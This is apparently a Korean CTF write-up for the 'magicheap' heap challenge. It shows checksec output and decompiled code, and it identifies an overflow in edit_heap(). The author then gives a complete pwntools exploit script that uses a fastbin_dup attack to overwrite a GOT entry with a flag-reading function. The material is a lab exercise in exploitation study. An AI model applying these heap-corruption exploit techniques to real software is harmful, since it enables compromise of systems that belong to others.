문제
magicheap 바이너리의 checksec 결과는 다음과 같다.
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
file 명령어의 결과는 다음과 같다.
magicheap: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=6ff750591e88f96896be63694b6ea85d337fce3a, not stripped
바이너리 코드
create_heap()
unsigned __int64 create_heap()
{
...
for ( i = 0; i <= 9; ++i )
{
if ( !heaparray[i] )
{
printf("Size of Heap : ");
read(0, &buf, 8uLL);
size = atoi(&buf);
heaparray[i] = malloc(size);
...
printf("Content of heap:", &buf);
read_input(heaparray[i], size);
puts("SuccessFul");
return __readfsqword(0x28u) ^ v4;
}
}
...
}
edit_heap()
unsigned __int64 edit_heap()
{
...
printf("Index :");
read(0, &buf, 4uLL);
v2 = atoi(&buf);
...
if ( heaparray[v2] )
{
printf("Size of Heap : ", &buf);
read(0, &buf, 8uLL);
v0 = atoi(&buf);
printf("Content of heap : ", &buf);
read_input(heaparray[v2], v0);
puts("Done !");
}
...
}
delete_heap()
unsigned __int64 delete_heap()
{
...
printf("Index :");
read(0, &buf, 4uLL);
v1 = atoi(&buf);
...
if ( heaparray[v1] )
{
free(heaparray[v1]);
heaparray[v1] = 0LL;
puts("Done !");
}
...
}
edit_heap() 함수에서 overflow 취약점이 존재한다. 이를 통해서 다음 chunk의 header, fd, bk 등을 overwrite할 수 있다.
이를 통해서 lab12 문제를 풀 때 사용했던 fastbin_dup 공격이 가능하다.
exploit 방법
- 0x40 짜리 chunk를 3개 생성한다.
- 세 번째 chunk와 두 번쨰 chunk를 free한다.
- edit_heap() 함수를 이용해서 두 번째 chunk의 fd를 (stack_chk_got -6)로 덮어쓴다.
- 0x30 짜리 chunk를 2개 생성하면 두 번째 chunk의 주소가 (stack_chk_got + 10 )이 된다.
- printf의 got를 flag를 읽는 l33t() 함수의 주소로 덮어쓴다.
문제 해설에서는 unsorted bin attack을 이용했다. 이 공격에 대해서 대략적인 이해만 했다. 다음에 fake arena 생성 방법에 대해서 공부해보자.
풀이
#!/usr/bin/python
from pwn import *
def create_heap(size,content):
p.recvuntil("choice :")
p.send("1"+"\x00")
p.recvuntil("Heap : ")
p.send(str(size))
p.recvuntil("heap:")
p.send(content)
p.recvuntil("SuccessFul\n")
def edit_heap(index,size,content):
p.recvuntil("choice :")
p.send("2"+"\x00")
p.recvuntil("Index :")
p.send(index)
p.recvuntil("Heap : ")
p.send(str(size))
p.recvuntil("heap : ")
p.send(content)
p.recvuntil("!\n")
def delete_heap(index):
p.recvuntil("choice :")
p.send("3"+"\x00")
p.recvuntil("Index :")
p.send(index)
p.recvuntil("!\n")
file_path="/home/sungyun/round4/lab14/magicheap"
p=process(file_path)
stack_chk_got=0x602030
cat_flag=0x400c23
create_heap(0x30,"ha_weeeee^___^")
create_heap(0x30,"ba_weeeee^___^")
create_heap(0x30,"weeeee^___^")
delete_heap("2")
delete_heap("1")
pay="A"*0x30
pay+="\x00"*8
pay+="\x41"+"\x00"*7
pay+=p64(stack_chk_got-6)
edit_heap("0",len(pay),pay)
create_heap(0x30,"g00000000d")
create_heap(0x30,"sosim")
pay2="\x40"+"\x00"*5 #system
pay2+=p64(cat_flag)
edit_heap("2",len(pay2),pay2)
p.recvuntil("-\n")
p.recvuntil("-\n")
p.recvuntil("-\n")
print p.recv()